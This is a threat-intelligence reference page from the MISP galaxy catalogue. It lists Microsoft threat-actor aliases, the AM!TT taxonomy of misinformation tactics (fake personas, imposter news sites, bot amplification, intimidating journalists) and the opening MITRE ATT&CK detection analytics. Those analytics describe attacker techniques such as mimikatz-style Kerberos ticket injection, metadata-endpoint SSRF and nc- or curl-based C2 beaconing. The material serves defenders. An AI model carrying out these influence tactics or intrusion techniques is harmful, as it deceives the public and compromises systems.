The tag is: *misp-galaxy:microsoft-activity-group="Wisteria Tsunami"*

Wisteria Tsunami is also known as:

- DEV-0605
- CyberRoot

Table 5789. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Zigzag Hail

The tag is: *misp-galaxy:microsoft-activity-group="Zigzag Hail"*

Zigzag Hail is also known as:

- DUBNIUM
- Dark Hotel
- Tapaoux

View relationships graph

Zigzag Hail has relationships with:

- similar: misp-galaxy:360net-threat-actor="Darkhotel - APT-C-06" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:threat-actor="DarkHotel" with estimative-language:likelihood-probability="likely"

Table 5790. Table References

Links
https://learn.microsoft.com/en-us/microsoft-365/security/intelligence/microsoft-threat-actor-naming?view=o365-worldwide

Misinformation Pattern

AM!TT Technique.

Misinformation Pattern is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

misinfosecproject

5Ds (dismiss, distort, distract, dismay, divide)

Nimmo's "4Ds of propaganda": dismiss, distort, distract, dismay (MisinfosecWG added divide in 2019). Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific misinformation content. But this is often not possible.

The tag is: *misp-galaxy:amitt-misinformation-pattern="5Ds (dismiss, distort, distract, dismay, divide)"*

Table 5791. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0001.md

Facilitate State Propaganda

Organize citizens around pro-state messaging. Paid or volunteer groups coordinated to push state propaganda (examples include 2016 Diba Facebook Expedition, coordinated to overcome China's Great Firewall to flood the Facebook pages of Taiwanese politicians and news agencies with a pro-PRC message).

The tag is: *misp-galaxy:amitt-misinformation-pattern="Facilitate State Propaganda"*

Table 5792. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0002.md

Leverage Existing Narratives

Use or adapt existing narrative themes, where narratives are the baseline stories of a target audience. Narratives form the bedrock of our worldviews. New information is understood through a process firmly grounded in this bedrock. If new information is not consitent with the prevailing narratives of an audience, it will be ignored. Effective campaigns will frame their misinformation in the context of these narratives. Highly effective campaigns will make extensive use of audience-appropriate archetypes and meta-narratives throughout their content creation and amplifiction practices. Examples include midwesterners are generous, Russia is under attack from outside.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Leverage Existing Narratives"*

Table 5793. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0003.md

Competing Narratives

Advance competing narratives connected to same issue ie: on one hand deny incident while at same time expresses dismiss. MH17 (example) "Russian Foreign Ministry again claimed that "absolutely groundless accusations are put forward against the Russian side, which are aimed at discrediting Russia in the eyes of the international community" (deny); "The Dutch MH17 investigation is biased, anti-Russian and factually inaccurate" (dismiss).

Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centered on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on.

These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the "firehose of misinformation" approach.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Competing Narratives"*

Table 5794. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0004.md

Center of Gravity Analysis

Recon/research to identify "the source of power that provides moral or physical strength, freedom of action, or will to act." Thus, the center of gravity is usually seen as the "source of strength". Includes demographic and network analysis of communities

The tag is: *misp-galaxy:amitt-misinformation-pattern="Center of Gravity Analysis"*

Table 5795. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0005.md

Create Master Narratives

The promotion of beneficial master narratives is perhaps the most effective method for achieving long-term strategic narrative dominance. From a "whole of society" perpective the promotion of the society's core master narratives should occupy a central strategic role. From a misinformation campaign / cognitive security perpectve the tactics around master narratives center more precisely on the day-to-day promotion and reinforcement of this messaging. In other words, beneficial, high-coverage master narratives are a central strategic goal and their promotion consitutes an ongoing tactical struggle carried out at a whole-of-society level.

By way of example, major powers are promoting master narratives such as: * "Huawei is detetmined to build trustworthy networks" * "Russia is the victim of bullying by NATO powers" * "USA is guided by its founding principles of liberty and egalitarianism"

Tactically, their promotion covers a broad spectrum of activities both on- and offline.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create Master Narratives"*

Table 5796. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0006.md

Create fake Social Media Profiles / Pages / Groups

Create key social engineering assets needed to amplify content, manipulate algorithms, fool public and/or specific incident/campaign targets.

Computational propaganda depends substantially on false perceptions of credibility and

acceptance. By creating fake users and groups with a variety of interests and commitments, attackers can ensure that their messages both come from trusted sources and appear more widely adopted than they actually are.

Examples: Ukraine elections (2019) circumvent Facebook's new safeguards by paying Ukrainian citizens to give a Russian agent access to their personal pages. EU Elections (2019) Avaaz reported more than 500 suspicious pages and groups to Facebook related to the three-month investigation of Facebook disinformation networks in Europe. Mueller report (2016) The IRA was able to reach up to 126 million Americans on Facebook via a mixture of fraudulent accounts, groups, and advertisements, the report says. Twitter accounts it created were portrayed as real American voices by major news outlets. It was even able to hold real-life rallies, mobilizing hundreds of people at a time in major cities like Philadelphia and Miami.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake Social Media Profiles / Pages / Groups"*

Table 5797. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0007.md

Create fake or imposter news sites

Modern computational propaganda makes use of a cadre of imposter news sites spreading globally. These sites, sometimes motivated by concerns other than propaganda—for instance, click-based revenue—often have some superficial markers of authenticity, such as naming and site-design. But many can be quickly exposed with reference to their owenership, reporting history and adverstising details. A prominent case from the 2016 era was the *Denver Guardian*, which purported to be a local newspaper in Colorado and specialized in negative stories about Hillary Clinton.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake or imposter news sites"*

Table 5798. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0008.md

Create fake experts

Stories planted or promoted in computational propaganda operations often make use of experts fabricated from whole cloth, sometimes specifically for the story itself. For example, in the Jade Helm conspiracy theory promoted by SVR in 2015, a pair of experts—one of them naming himself a "Military Intelligence Analyst / Russian Regional CME" and the other a "Geopolitical Strategist, Journalist & Author"--pushed the story heavily on LinkedIn.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake experts"*

Table 5799. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0009.md

Cultivate useful idiots

Cultivate propagandists for a cause, the goals of which are not fully comprehended, and who are used cynically by the leaders of the cause. Independent actors use social media and specialised web sites to strategically reinforce and spread messages compatible with their own. Their networks are infiltrated and used by state media disinformation organisations to amplify the state's own disinformation strategies against target populations. Many are traffickers in conspiracy theories or hoaxes, unified by a suspicion of Western governments and mainstream media. Their narratives, which appeal to leftists hostile to globalism and military intervention and nationalists against immigration, are frequently infiltrated and shaped by state-controlled trolls and altered news items from agencies such as RT and Sputnik. Also know as "useful idiots" or "unwitting agents".

The tag is: *misp-galaxy:amitt-misinformation-pattern="Cultivate useful idiots"*

Table 5800. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0010.md

Hijack legitimate account

Hack or take over legimate accounts to distribute misinformation or damaging content. Examples include Syrian Electronic Army (2013) series of false tweets from a hijacked Associated Press Twitter account claiming that President Barack Obama had been injured in a series of explosions near the White House. The false report caused a temporary plunge of 143 points on the Dow Jones Industrial Average.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Hijack legitimate account"*

Table 5801. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0011.md

Use concealment

Use anonymous social media profiles. Examples include page or group administrators, masked "whois" website directory data, no bylines connected to news article, no masthead connect to news websites.

Example is 2016 @TEN_GOP profile where the actual Tennessee Republican Party tried unsuccessfully for months to get Twitter to shut it down, and 2019 Endless Mayfly is an Iran-aligned network of inauthentic personas and social media accounts that spreads falsehoods and amplifies narratives critical of Saudi Arabia, the United States, and Israel.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Use concealment"*

Table 5802. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0012.md

Create fake websites

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake websites"*

Table 5803. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0013.md

Create funding campaigns

Generate revenue through online funding campaigns. e.g. Gather data, advance credible persona via Gofundme; Patreon; or via fake website connecting via PayPal or Stripe. (Example 2016) #VaccinateUS Gofundme campaigns to pay for Targetted facebook ads (Larry Cook, targetting Washington State mothers, $1,776 to boost posts over 9 months).

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create funding campaigns"*

Table 5804. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0014.md

Create hashtag

Many incident-based campaigns will create a hashtag to promote their fabricated event (e.g. #ColumbianChemicals to promote a fake story about a chemical spill in Louisiana).

Creating a hashtag for an incident can have two important effects: 1. Create a perception of reality around an event. Certainly only "real" events would be discussed in a hashtag. After all, the event has a name! 2. Publicize the story more widely through trending lists and search behavior

Asset needed to direct/control/manage "conversation" connected to launching new incident/campaign with new hashtag for applicable social media sites ie: Twitter, LinkedIn)

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create hashtag"*

Table 5805. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0015.md

Clickbait

Create attention grabbing headlines (outrage, doubt, humor) required to drive traffic & engagement. (example 2016) “Pope Francis shocks world, endorses Donald Trump for president.” (example 2016) "FBI director received millions from Clinton Foundation, his brother’s law firm does Clinton’s taxes”. This is a key asset

The tag is: *misp-galaxy:amitt-misinformation-pattern="Clickbait"*

Table 5806. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0016.md

Promote online funding

Drive traffic/engagement to funding campaign sites; helps provide measurable metrics to assess conversion rates

The tag is: *misp-galaxy:amitt-misinformation-pattern="Promote online funding"*

Table 5807. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0017.md

Paid targeted ads

Create or fund advertisements targeted at specific populations

The tag is: *misp-galaxy:amitt-misinformation-pattern="Paid targeted ads"*

Table 5808. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0018.md

Generate information pollution

Flood social channels; drive traffic/engagement to all assets; create aura/sense/perception of pervasiveness/consensus (for or against or both simultaneously) of an issue or topic. "Nothing is true, but everything is possible." Akin to astroturfing campaign.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Generate information pollution"*

Table 5809. Table References

Links

https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0019.md

Trial content

Iteratively test incident performance (messages, content etc), e.g. A/B test headline/content enagagement metrics; website and/or funding campaign conversion rates

The tag is: *misp-galaxy:amitt-misinformation-pattern="Trial content"*

Table 5810. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0020.md

Memes

Memes are one of the most important single artefact types in all of computational propaganda. Memes in this framework denotes the narrow image-based definition. But that naming is no accident, as these items have most of the important properties of Dawkins' original conception as a self-replicating unit of culture. Memes pull together reference and commentary; image and narrative; emotion and message. Memes are a powerful tool and the heart of modern influence campaigns.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Memes"*

Table 5811. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0021.md

Conspiracy narratives

"Conspiracy narratives appeal to the human desire for explanatory order, by invoking the participation of poweful (often sinister) actors in pursuit of their own political goals. These narratives are especially appealing when an audience is low-information, marginalized or otherwise inclined to reject the prevailing explanation. Conspiracy narratives are an important component of the ""firehose of falsehoods"" model.

Example: QAnon: conspiracy theory is an explanation of an event or situation that invokes a conspiracy by sinister and powerful actors, often political in motivation, when other explanations are more probable "

The tag is: *misp-galaxy:amitt-misinformation-pattern="Conspiracy narratives"*

Table 5812. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0022.md

Distort facts

Change, twist, or exaggerate existing facts to construct a narrative that differs from reality. Examples: images and ideas can be distorted by being placed in an improper content

The tag is: *misp-galaxy:amitt-misinformation-pattern="Distort facts"*

Table 5813. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0023.md

Create fake videos and images

Create fake videos and/or images by manipulating existing content or generating new content (e.g. deepfakes). Examples include Pelosi video (making her appear drunk) and photoshoped shark on flooded streets of Houston TX.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake videos and images"*

Table 5814. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0024.md

Leak altered documents

Obtain documents (eg by theft or leak), then alter and release, possibly among factual documents/sources.

Example (2019) DFRLab report "Secondary Infektion" highlights incident with key asset being a forged "letter" created by the operation to provide ammunition for far-right forces in Europe ahead of the election.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Leak altered documents"*

Table 5815. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0025.md

Create fake research

Create fake academic research. Example: fake social science research is often aimed at hot-button social issues such as gender, race and sexuality. Fake science research can target Climate Science debate or pseudoscience like anti-vaxx

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create fake research"*

Table 5816. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0026.md

Adapt existing narratives

Adapting existing narratives to current operational goals is the tactical sweet-spot for an effective misinformation campaign. Leveraging existing narratives is not only more effective, it requires substantially less resourcing, as the promotion of new master narratives operates on a much larger scale, both time and scope. Fluid, dynamic & often interchangable key master narratives can be ("The morally corrupt West") adapted to divisive (LGBT proganda) or to distort (individuals working as CIA operatives). For Western audiences, different but equally powerful framings are available, such as "USA has a fraught history in race relations, espically in crimincal justice areas."

The tag is: *misp-galaxy:amitt-misinformation-pattern="Adapt existing narratives"*

Table 5817. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0027.md

Create competing narratives

"Misinformation promotes an agenda by advancing narratives supportive of that agenda. This is most effective when the advanced narrative pre-dates the revelation of the specific misinformation content. But this is often not possible.

Suppressing or discouraging narratives already spreading requires an alternative. The most simple set of narrative techniques in response would be the construction and promotion of contradictory alternatives centered on denial, deflection, dismissal, counter-charges, excessive standards of proof, bias in prohibition or enforcement, and so on.

These competing narratives allow loyalists cover, but are less compelling to opponents and fence-sitters than campaigns built around existing narratives or highly explanatory master narratives. Competing narratives, as such, are especially useful in the ""firehose of misinformation"" approach."

The tag is: *misp-galaxy:amitt-misinformation-pattern="Create competing narratives"*

Table 5818. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0028.md

Manipulate online polls

Create fake online polls, or manipulate existing online polls. Examples: flooding FCC with

comments; creating fake engagement metrics of Twitter/Facebook polls to manipulate perception of given issue. Data gathering tactic to target those who engage, and potentially their networks of friends/followers as well

The tag is: *misp-galaxy:amitt-misinformation-pattern="Manipulate online polls"*

Table 5819. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0029.md

Backstop personas

Create other assets/dossier/cover/fake relationships and/or connections or documents, sites, bylines, attributions, to establish/augment/inflate crediblity/believability

The tag is: *misp-galaxy:amitt-misinformation-pattern="Backstop personas"*

Table 5820. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0030.md

YouTube

Use YouTube as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="YouTube"*

Table 5821. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0031.md

Reddit

Use Reddit as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="Reddit"*

Table 5822. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0032.md

Instagram

Use Instagram as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="Instagram"*

Table 5823. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0033.md

LinkedIn

Use LinkedIn as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="LinkedIn"*

Table 5824. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0034.md

Pinterest

Use Pinterest as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="Pinterest"*

Table 5825. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0035.md

WhatsApp

Use WhatsApp as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="WhatsApp"*

Table 5826. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0036.md

Facebook

Use Facebook as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="Facebook"*

Table 5827. Table References

Links

https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0037.md

Twitter

Use Twitter as a narrative dissemination channel

The tag is: *misp-galaxy:amitt-misinformation-pattern="Twitter"*

Table 5828. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0038.md

Bait legitimate influencers

The tag is: *misp-galaxy:amitt-misinformation-pattern="Bait legitimate influencers"*

Table 5829. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0039.md

Demand unsurmountable proof

The tag is: *misp-galaxy:amitt-misinformation-pattern="Demand unsurmountable proof"*

Table 5830. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0040.md

Deny involvement

The tag is: *misp-galaxy:amitt-misinformation-pattern="Deny involvement"*

Table 5831. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0041.md

Kernel of Truth

The tag is: *misp-galaxy:amitt-misinformation-pattern="Kernel of Truth"*

Table 5832. Table References

Links

https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0042.md

Use SMS/ WhatsApp/ Chat apps

The tag is: *misp-galaxy:amitt-misinformation-pattern="Use SMS/ WhatsApp/ Chat apps"*

Table 5833. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0043.md

Seed distortions

The tag is: *misp-galaxy:amitt-misinformation-pattern="Seed distortions"*

Table 5834. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0044.md

Use fake experts

Use the fake experts that were set up in T0009. Pseudo-experts are disposable assets that often appear once and then disappear. Give "credility" to misinformation. Take advantage of credential bias

The tag is: *misp-galaxy:amitt-misinformation-pattern="Use fake experts"*

Table 5835. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0045.md

Search Engine Optimization

Manipulate content engagement metrics (ie: Reddit & Twitter) to influence/impact news search results (e.g. Google), also elevates RT & Sputnik headline into Google news alert emails. aka "Black-hat SEO"

The tag is: *misp-galaxy:amitt-misinformation-pattern="Search Engine Optimization"*

Table 5836. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0046.md

Muzzle social media as a political force

Use political influence or the power of state to stop critical social media comments. Government requested/driven content take downs (see Google Transperancy reports. (Example 20190 Singapore Protection from Online Falsehoods and Manipulation Bill would make it illegal to spread "false statements of fact" in Singapore, where that information is "prejudicial" to Singapore's security or "public tranquility." Or India/New Delhi has cut off services to Facebook and Twitter in Kashmir 28 times in the past five years, and in 2016, access was blocked for five months — on the grounds that these platforms were being used for anti-social and "anti-national" purposes.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Muzzle social media as a political force"*

Table 5837. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0047.md

Cow online opinion leaders

Intimidate, coerce, threaten critics/dissidents/journalists via trolling, doxing. Phillipines (example) Maria Ressa and Rappler journalists targeted Duterte regime, lawsuits, trollings, banned from the presidential palace where press briefings take place. 2017 Bot attack on five ProPublica Journalists.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Cow online opinion leaders"*

Table 5838. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0048.md

Flooding

Flooding and/or mobbing social media channels feeds and/or hashtag with excessive volume of content to control/shape online conversations and/or drown out opposing points of view. Bots and/or patriotic trolls are effective tools to acheive this effect.

Example (2018): bots flood social media promoting messages which support Saudi Arabia with intent to cast doubt on allegations that the kingdom was involved in Khashoggi's death.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Flooding"*

Table 5839. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0049.md

Cheerleading domestic social media ops

Deploy state-coordinated social media commenters and astroturfers. Both internal/domestic and external social media influence operations, popularized by China (50cent Army manage message inside the "Great Firewall") but also technique used by Chinese English-language social media influence operations are seeded by state-run media, which overwhelmingly present a positive, benign, and cooperative image of China.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Cheerleading domestic social media ops"*

Table 5840. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0050.md

Fabricate social media comment

Use government-paid social media commenters, astroturfers, chat bots (programmed to reply to specific key words/hashtags) influence online conversations, product reviews, web-site comment forums. (2017 example) the FCC was inundated with nearly 22 million public comments on net neutrality (many from fake accounts)

The tag is: *misp-galaxy:amitt-misinformation-pattern="Fabricate social media comment"*

Table 5841. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0051.md

Tertiary sites amplify news

Create content/news/opinion web-sites to cross-post stories. Tertiary sites circulate and amplify narratives. Often these sites have no masthead, bylines or attribution.

Examples of tertiary sites inculde Russia Insider, The Duran, geopolitica.ru, Mint Press News, Oriental Review, globalresearch.ca.

Example (2019, Domestic news): Snopes reveals Star News Digital Media, Inc. may look like a media company that produces local news, but operates via undisclosed connections to political activism.

Example (2018) FireEye reports on Iranian campaign that created between April 2018 and March 2019 sites used to spread inauthentic content from websites such as Liberty Front Press (LFP), US Journal, and Real Progressive Front during the US mid-terms.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Tertiary sites amplify news"*

Table 5842. Table References

Links

https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0052.md

Twitter trolls amplify and manipulate

Use trolls to amplify narratives and/or manipulate narratives. Fake profiles/sockpuppets operating to support individuals/narratives from the entire political spectrum (left/right binary). Operating with increased emphasis on promoting local content and promoting real Twitter users generating their own, often divisive political content, as it's easier to amplify existing content than create new/original content. Trolls operate where ever there's a socially divisive issue (issues that can/are be politicized) e.g. BlackLivesMatter or MeToo

The tag is: *misp-galaxy:amitt-misinformation-pattern="Twitter trolls amplify and manipulate"*

Table 5843. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0053.md

Twitter bots amplify

Use bots to amplify narratives above algorithm thresholds. Bots are automated/programmed profiles designed to amplify content (ie: automatically retweet or like) and give appearance it's more "popular" than it is. They can operate as a network, to function in a coordinated/orchestrated manner. In some cases (more so now) they are an inexpensive/disposable assets used for minimal deployment as bot detection tools improve and platforms are more responsive.(example 2019) #TrudeauMustGo

The tag is: *misp-galaxy:amitt-misinformation-pattern="Twitter bots amplify"*

Table 5844. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0054.md

Use hashtag

Use the dedicated hashtag for the incident (e.g. #PhosphorusDisaster)

The tag is: *misp-galaxy:amitt-misinformation-pattern="Use hashtag"*

Table 5845. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0055.md

Dedicated channels disseminate information pollution

Output information pollution (e.g. articles on an unreported false story/event) through channels controlled by or related to the incident creator. Examples include RT/Sputnik or antivax websites seeding stories.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Dedicated channels disseminate information pollution"*

Table 5846. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0056.md

Organise remote rallies and events

Coordinate and promote real-world events across media platforms, e.g. rallies, protests, gatherings in support of incident narratives. Example: Facebook groups/pages coordinate/more divisive/polarizing groups and actvities into the public space. (Example) Mueller's report, highlights, the IRA organized political rallies in the U.S. using social media starting in 2015 and continued to coordinate rallies after the 2016 election

The tag is: *misp-galaxy:amitt-misinformation-pattern="Organise remote rallies and events"*

Table 5847. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0057.md

Legacy web content

Make incident content visible for a long time, e.g. by exploiting platform terms of service, or placing it where it's hard to remove or unlikely to be removed.

The tag is: *misp-galaxy:amitt-misinformation-pattern="Legacy web content"*

Table 5848. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0058.md

Play the long game

The tag is: *misp-galaxy:amitt-misinformation-pattern="Play the long game"*

Table 5849. Table References

Links

https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0059.md

Continue to amplify

The tag is: *misp-galaxy:amitt-misinformation-pattern="Continue to amplify"*

Table 5850. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0060.md

Sell merchandising

Sell hats, t-shirts, flags and other branded content that's designed to be seen in the real world

The tag is: *misp-galaxy:amitt-misinformation-pattern="Sell merchandising"*

Table 5851. Table References

Links
https://github.com/misinfosecproject/amitt_framework/blob/master/techniques/T0061.md

Analytics

ATT&CK Analytics.

Analytics is a cluster galaxy available in JSON format at **this location** The JSON format can be freely reused in your application or automatically enabled in MISP.

authors

MITRE

Analytic 0010 - AN0010

User modification of the $PATH environment variable in shell configuration files or direct runtime PATH changes, followed by execution of binaries from user-controlled directories. Defender observes file edits to ~/.bashrc, ~/.profile, or /etc/paths.d and process execution resolving to unexpected binary locations.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0010 - AN0010"*

Table 5852. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0004#AN0010

Analytic 0100 - AN0100

Suspicious processes initiating encrypted HTTPS connections to common web service domains, followed by abnormal data upload behavior or automated posting behavior indicative of C2 bidirectional traffic.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0100 - AN0100"*

Table 5853. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0035#AN0100

Analytic 1000 - AN1000

Detects unauthorized Kerberos ticket injection by correlating service ticket (TGS - 4769) requests with absent corresponding account logons (4624) and prior Ticket Granting Ticket (TGT - 4768) activity. Highlights anomalous service ticket generation chains involving unexpected users, hosts, or times, and suspicious injection of tickets via mimikatz-like tooling into LSASS memory. Behavior also includes network lateral movement using Kerberos authentication absent expected interactive logon patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 1000 - AN1000"*

Table 5854. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0352#AN1000

Analytic 0001 - AN0001

Detects access attempts to cloud instance metadata endpoints (e.g., 169.254.169.254) from virtual machines or containerized workloads. This includes both direct access and SSRF exploitation patterns.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0001 - AN0001"*

Table 5855. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0001#AN0001

Analytic 2000 - AN2000

Monitor for suspicious network traffic that could be indicative of scanning, such as large quantities originating from a single source (especially if the source is known to be associated with an adversary/botnet).

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 2000 - AN2000"*

Table 5856. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0868#AN2000

Analytic 0200 - AN0200

Abuse of systemctl to execute commands or manage systemd services. Defender perspective: correlate suspicious service creation or modification with execution of systemctl subcommands such as start, enable, or status. Detect cases where systemctl is used to load services from unusual locations (e.g., /tmp, /dev/shm) or where new service units are created outside of expected administrative workflows.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0200 - AN0200"*

Table 5857. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0073#AN0200

Analytic 0002 - AN0002

Detects non-standard processes (e.g., PowerShell, python.exe, rundll32.exe) making outbound connections using publish/subscribe protocols (e.g., MQTT, AMQP) over non-browser, encrypted channels, often beaconing to message brokers.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0002 - AN0002"*

Table 5858. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0002#AN0002

Analytic 0020 - AN0020

Remote access to third-party SaaS with OAuth or API tokens post-initial compromise, followed by sensitive data access or configuration changes

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0020 - AN0020"*

Table 5859. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0008#AN0020

Analytic 0030 - AN0030

Processes generating large outbound connections with disproportionate send/receive ratios, often to uncommon ports or hosts, potentially inserting meaningless data into protocol payloads.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0030 - AN0030"*

Table 5860. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0011#AN0030

Analytic 0003 - AN0003

Detects CLI tools (e.g., mosquitto_pub, nc, python scripts) interacting with pub/sub brokers using unusual topic names, high-frequency publication rates, or obfuscated payloads to non-standard hosts.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0003 - AN0003"*

Table 5861. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0002#AN0003

Analytic 0300 - AN0300

Correlation of Mail.app logs with Safari/Chrome activity. Suspicious behavior includes email links → Safari/Chrome accessing newly registered or lookalike domains → osascript or Terminal spawned unexpectedly.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0300 - AN0300"*

Table 5862. Table References

Links
https://attack.mitre.org/detectionstrategies/DET0107#AN0300

Analytic 0004 - AN0004

Detects osascript, curl, or custom binaries interacting with XMPP/MQTT brokers in unapproved destinations with encrypted payloads or frequent POST-like requests to broker URIs.

The tag is: *misp-galaxy:x-mitre-analytic="Analytic 0004 - AN0004"*

Table 5863. Table References

Links

https://attack.mitre.org/detectionstrategies/DET0002#AN0004

Analytic 0400 - AN0400

Processes that typically do not perform cryptographic operations loading symmetric encryption libraries (e.g., bcryptprimitives.dll, aes.dll), then initiating outbound connections with high-entropy payloads. Defender correlates process creation, DLL load, and anomalous encrypted traffic patterns.

